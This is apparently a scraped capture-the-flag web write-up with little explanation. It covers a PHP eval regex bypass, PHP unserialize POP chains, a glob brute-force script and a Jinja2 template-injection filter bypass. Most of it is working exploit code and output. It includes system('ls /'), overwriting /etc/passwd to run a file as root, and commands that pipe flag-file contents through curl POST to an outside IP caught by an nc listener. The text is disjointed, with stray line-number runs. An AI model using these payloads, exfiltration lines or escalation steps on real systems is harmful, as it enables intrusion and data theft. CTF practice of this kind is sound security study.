<?php highlight_file(__FILE__); $a = $_GET['a']; if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $a)) { if (!preg_match("/sess|ion|head|ers|file|na|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i",$a)){ eval($a); }else{ die("May be you should bypass."); } }else{ die("nonono"); } ?>
1 2 3
http://39.107.68.43:35894/?a=eval(array_pop(next(get_defined_vars()))); 1=system('ls /'); bin boot dev etc home lib lib64 media mnt opt proc pushflag.sh root run sbin srv start.sh sys tmp usr var
(www-data:/tmp) $ cp /tmp/passwd /etc/passwd (www-data:/tmp) $ su root2 -c "/.ffffffIIIIIII44444444444gggg" /.ffffffIIIIIII44444444444gggg: line 1: flag{mhbFHhwweJj4QuhveSQTsYXUCscvMbNd}: command not found
notrce
1
l''s | cu''rl -d @- -X POST http://175.178.111.34:7777
<?php highlight_file(__FILE__); class TT{ public $key; public $c; public function __destruct(){ echo $this->key; }
public function __toString(){ return "welcome"; } }
class JJ{ public $obj; public function __toString(){ ($this -> obj)(); return "1"; } public function evil($c){ eval($c); } public function __sleep(){ phpinfo(); } }
class MM{ public $name; public $c; public function __invoke(){ ($this->name)($this->c); } public function __toString(){ return "ok,but wrong"; } public function __call($a, $b){ echo "Hacker!"; } } $a = unserialize($_GET['bbb']); throw new Error("NoNoNo");
Fatal error: Uncaught Error: NoNoNo in /var/www/html/index.php:43 Stack trace: #0 {main} thrown in /var/www/html/index.php on line 43
<?php error_reporting(0); $CanRead = false; class SFile{ public $name; public function __construct($name) { $this->name = $name; } public function __toString(){ $num = count(scandir($this->name)); if($num > 0){ return 'Not null'; } else { return 'Access the backdoor_******.php.* in [0-f]'; } } } class Funny{ public $name; public function __construct($name){ if(strstr($name, 'backdoor')===false){ $this->name = $name; }else{ $this->name = 'nohint.txt'; } } public function __toString(){ return $this->name; } public function __destruct(){ global $CanRead; if(strstr($name, 'backdoor')!==false){ die('try again'); } if($CanRead){ echo(file_get_contents($this->name)); } } } class Fun{ public $secret = 'nohint.txt'; public function __wakeup(){ echo $this->secret; } public function __toString(){ global $CanRead; $CanRead = true; return (new Funny($this->secret))->name; } }
<?php class SFile{ public $name ; public function __construct($name) { $this->name = $name; } } class Funny{ public $name; } class Fun{ public $secret; } $path = $_GET["path"]; $fun = new Fun(); $fun->secret = new SFile($path); echo urlencode(base64_encode(serialize($fun)));
flag = True while flag: flag = False for i in dic: r = requests.get(url=get_payload_url, params={"path": path + i + "*"}) p = r.text r = requests.get(url=exp_url, params={"p": p}) if r.text == "Not null": path = path + i flag = True print(path) break # glob://./backdoor_a5f9d3.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14
<?php class Funny{ public $name = "php://filter/convert.base64-encode/resource=backdoor_a5f9d3.php"; } class Fun{ public $secret; }
$fun = new Fun(); $fun2 = new Fun(); $fun->secret = new Funny(); $fun2->secret = $fun; //unserialize(serialize($fun2)); echo urlencode(base64_encode(serialize($fun2)));
curl http://39.107.27.191:21600/\?img\=dHVwaWFuLnBuZw\=\= 别重定向了,赶快让我(?n=30-10,以内的数值。)-_-<br /> <b>Notice</b>: Undefined index: n in <b>/var/www/html/index.php</b> on line <b>11</b><br />
{% set po=dict(po=a,p=a)|join%}{% set a=(()|select|string|list)|attr(po)(24)%}{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}{% set chr=x.chr%}{% set cmd=()%}{%if x.eval(cmd)%}aaa{%endif%}
str = requests.get( "http://127.0.0.1:7777/2023/gz/no.php?cmd=" + 'cat /f1ag_g4lfcdecddefewfebge /|curl -d @- -X POST http://175.178.111.34:7777').text result = ""
def half2full(half): full = '' for ch in half: if ord(ch) in range(33, 127): ch = chr(ord(ch) + 0xfee0) elif ord(ch) == 32: ch = chr(0x3000) else: pass full += ch return full
for i in re.findall('\d{2,3}', str): result += "chr(" + half2full(i) + ")~" # print(i) print(result[:-1])
res = "{% set po=dict(po=a,p=a)|join%}{% set a=(()|select|string|list)|attr(po)(24)%}{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}{% set chr=x.chr%}{% set cmd=(" + result[:-1] + ")%}{%if x.eval(cmd)%}aaa{%endif%}" url = "http://39.107.82.169:63151/?miniID=" + res requests.get(url=url)
1 2 3 4 5 6 7 8 9 10 11
(base) ubuntu@VM-8-15-ubuntu:~$ nc -lvvp 7777 Listening on 0.0.0.0 7777 Connection received on 39.107.243.76 31879 POST / HTTP/1.1 Host: 175.178.111.34:7777 User-Agent: curl/7.64.0 Accept: */* Content-Length: 38 Content-Type: application/x-www-form-urlencoded
from flask import Flask,render_template,request,render_template_string app = Flask(__name__)
@app.route('/',methods = ['POST','GET']) def index(): def safe_jinja(m): forbidden = ['[','{{','_','class','+','popen','*','import','request'] for n in forbidden: while True: if n in m: return "Forbidden!!!" else: break return m id = request.args.get('miniID') html = ''' <h2 align="center">it's time.Show me your documents,please.</h2> <h2 align="center">I will GET your miniID.</h2> <h2 align="center">%s</h2> '''%(id) html = safe_jinja(html) return render_template_string(html) if __name__ == '__main__': app.run(host='0.0.0.0',port=80)